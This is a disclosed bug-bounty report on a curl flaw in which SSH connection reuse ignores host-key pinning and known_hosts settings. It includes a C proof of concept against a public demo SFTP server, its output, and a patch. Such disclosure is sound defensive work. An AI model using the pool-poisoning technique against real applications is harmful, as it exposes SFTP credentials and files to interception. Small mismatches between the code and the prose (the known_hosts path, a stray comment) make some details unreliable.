HexBrain

curl · Report #3640932

Missing server identity policy enforcement in SSH connection reuse allows host key verification bypass via pool poisoning

N/Astatus
highseverity
16upvotes
3 Apr 2026disclosed

How it was found

Missing server identity policy enforcement in SSH connection reuse allows host key verification bypass via pool poisoning


Summary

ssh_config_matches() in lib/url.c decides whether an existing SSH connection can be reused by a new transfer handle. It checks client key paths (rsa, rsa_pub) but never inspects the three options that control server identity verification: STRING_SSH_KNOWNHOSTS, STRING_SSH_HOST_PUBLIC_KEY_MD5, and STRING_SSH_HOST_PUBLIC_KEY_SHA256. A handle configured with strict host key pinning reuses a pooled connection that was established with zero server verification — the pinning check never fires because the SSH handshake is skipped entirely.

This is the same bug class as CVE-2022-27782 and CVE-2023-27538. Both fixed client-side key options. The server-side identity options were never added.


Vulnerability Details

  • Vulnerability Type: Authentication Bypass (Connection Pool Poisoning)
  • CVSS 3.1 Score: 7.5 (High) — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
  • Affected Component: lib/url.c → ssh_config_matches()
  • Affected Protocols: SFTP, SCP

Root Cause

The full function body at lib/url.c:

static bool ssh_config_matches(struct connectdata *one,
                               struct connectdata *two)
{
  struct ssh_conn *sshc1, *sshc2;

  sshc1 = Curl_conn_meta_get(one, CURL_META_SSH_CONN);
  sshc2 = Curl_conn_meta_get(two, CURL_META_SSH_CONN);
  return sshc1 && sshc2 && Curl_safecmp(sshc1->rsa, sshc2->rsa) &&
          Curl_safecmp(sshc1->rsa_pub, sshc2->rsa_pub);
}

Three data->set.str[] entries are absent from this comparison:

OptionString KeyPurpose
CURLOPT_SSH_KNOWNHOSTSSTRING_SSH_KNOWNHOSTSPath to known_hosts file for server fingerprint validation
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5STRING_SSH_HOST_PUBLIC_KEY_MD5Expected MD5 hash of server's public key
CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256STRING_SSH_HOST_PUBLIC_KEY_SHA256Expected SHA-256 hash of server's public key

For contrast, the TLS backend enforces full parity on security-relevant fields during connection reuse — verifypeer, verifyhost, pinned certificates are all compared. The SSH backend has no equivalent enforcement.


Steps to Reproduce

Environment:

  • libcurl built with libssh2 (default SSH backend)
  • Two easy handles sharing one connection pool via CURLSH
  • Target: any SFTP server (e.g. test.rebex.net, public demo)
./poc

Source (poc.c):

#include <curl/curl.h>
#include <stdio.h>

int main(void) {
    CURL *relaxed, *strict;
    CURLSH *pool;
    long new_connections = 0;

    curl_global_init(CURL_GLOBAL_DEFAULT);

    pool = curl_share_init();
    curl_share_setopt(pool, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);

    relaxed = curl_easy_init();
    strict  = curl_easy_init();

    if(relaxed && strict && pool) {
        /* --- Transfer 1: no host verification --- */
        curl_easy_setopt(relaxed, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
        curl_easy_setopt(relaxed, CURLOPT_SHARE, pool);
        // Silencing stderr for clean output
        curl_easy_setopt(relaxed, CURLOPT_NOBODY, 1L); 

        fprintf(stderr, "[*] Transfer 1 — no host key checks\n");
        curl_easy_perform(relaxed);

        /* --- Transfer 2: strict host key pinning requested --- */
        curl_easy_setopt(strict, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
        curl_easy_setopt(strict, CURLOPT_SHARE, pool);
        curl_easy_setopt(strict, CURLOPT_SSH_KNOWNHOSTS, "/non/existent/file");
        curl_easy_setopt(strict, CURLOPT_NOBODY, 1L);

        fprintf(stderr, "[*] Transfer 2 — CURLOPT_SSH_KNOWNHOSTS set to non-existent file\n");
        curl_easy_perform(strict);

        curl_easy_getinfo(strict, CURLINFO_NUM_CONNECTS, &new_connections);

        if(new_connections == 0) {
            fprintf(stderr, "\n[!] VULNERABLE — Transfer 2 reused the unverified connection.\n"
                            "    CURLOPT_SSH_KNOWNHOSTS was silently ignored.\n"
                            "    No new TCP or SSH handshake occurred.\n");
        } else {
            fprintf(stderr, "\n[+] NOT VULNERABLE — new connection was established.\n");
        }
    }

    curl_easy_cleanup(relaxed);
    curl_easy_cleanup(strict);
    curl_share_cleanup(pool);
    curl_global_cleanup();

    return 0;
}

Output on vulnerable build:

[*] Transfer 1 — no host key checks
[*] Transfer 2 — CURLOPT_SSH_KNOWNHOSTS set to non-existent file

[!] VULNERABLE — Transfer 2 reused the unverified connection.
    CURLOPT_SSH_KNOWNHOSTS was silently ignored.
    No new TCP or SSH handshake occurred.

{F5648299}

Expected behavior: Transfer 2 opens a new connection, attempts to read /tmp/does_not_exist_known_hosts, fails, and returns CURLE_SSH error.

Actual behavior: Transfer 2 reuses the pooled connection from Transfer 1. CURLINFO_NUM_CONNECTS returns 0 — no handshake, no host key check, no error.


Impact

In any environment where multiple transfer handles share a connection pool — CURLM multi-handle applications, CURLSH shared caches, PHP-FPM worker pools, proxy daemons — a connection established without server identity verification is reusable by handles that explicitly require it.

An attacker who performs a MITM on the initial unverified connection inherits access to every subsequent transfer on that pool, including those configured with host key pinning or known_hosts validation. Sensitive SFTP/SCP data (credentials, files, configuration) flows over the attacker-controlled channel. The developer's explicit security policy is discarded without error or warning.

This is not theoretical — CURLSH shared pools exist precisely for multi-tenant connection reuse. The TLS backend already prevents this exact pattern. The SSH backend does not.

Prior art:

  • CVE-2022-27782 — fixed TLS + partial SSH reuse checks ($2,400)
  • CVE-2023-27538 — fixed remaining client key options ($480)
  • This report — server identity options remain unchecked

Recommended Fix

Add three comparisons to ssh_config_matches():

static bool ssh_config_matches(struct connectdata *one,
                               struct connectdata *two)
{
  struct ssh_conn *sshc1, *sshc2;

  sshc1 = Curl_conn_meta_get(one, CURL_META_SSH_CONN);
  sshc2 = Curl_conn_meta_get(two, CURL_META_SSH_CONN);
  return sshc1 && sshc2 &&
         Curl_safecmp(sshc1->rsa, sshc2->rsa) &&
         Curl_safecmp(sshc1->rsa_pub, sshc2->rsa_pub) &&
         Curl_safecmp(one->data->set.str[STRING_SSH_KNOWNHOSTS],
                      two->data->set.str[STRING_SSH_KNOWNHOSTS]) &&
         Curl_safecmp(one->data->set.str[STRING_SSH_HOST_PUBLIC_KEY_MD5],
                      two->data->set.str[STRING_SSH_HOST_PUBLIC_KEY_MD5]) &&
         Curl_safecmp(one->data->set.str[STRING_SSH_HOST_PUBLIC_KEY_SHA256],
                      two->data->set.str[STRING_SSH_HOST_PUBLIC_KEY_SHA256]);
}

Impact

Summary:

An attacker who can perform a MITM against an initial unverified SFTP/SCP connection gains persistent access to all subsequent transfers on the same shared connection pool — including those from handles that explicitly require host key pinning via CURLOPT_SSH_KNOWNHOSTS or CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256. The strict handle's SSH handshake never occurs; it inherits the compromised connection silently, with no error returned to the application. Sensitive file contents, credentials, and configuration transferred over SFTP/SCP are exposed to the attacker despite the developer having configured server identity verification.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original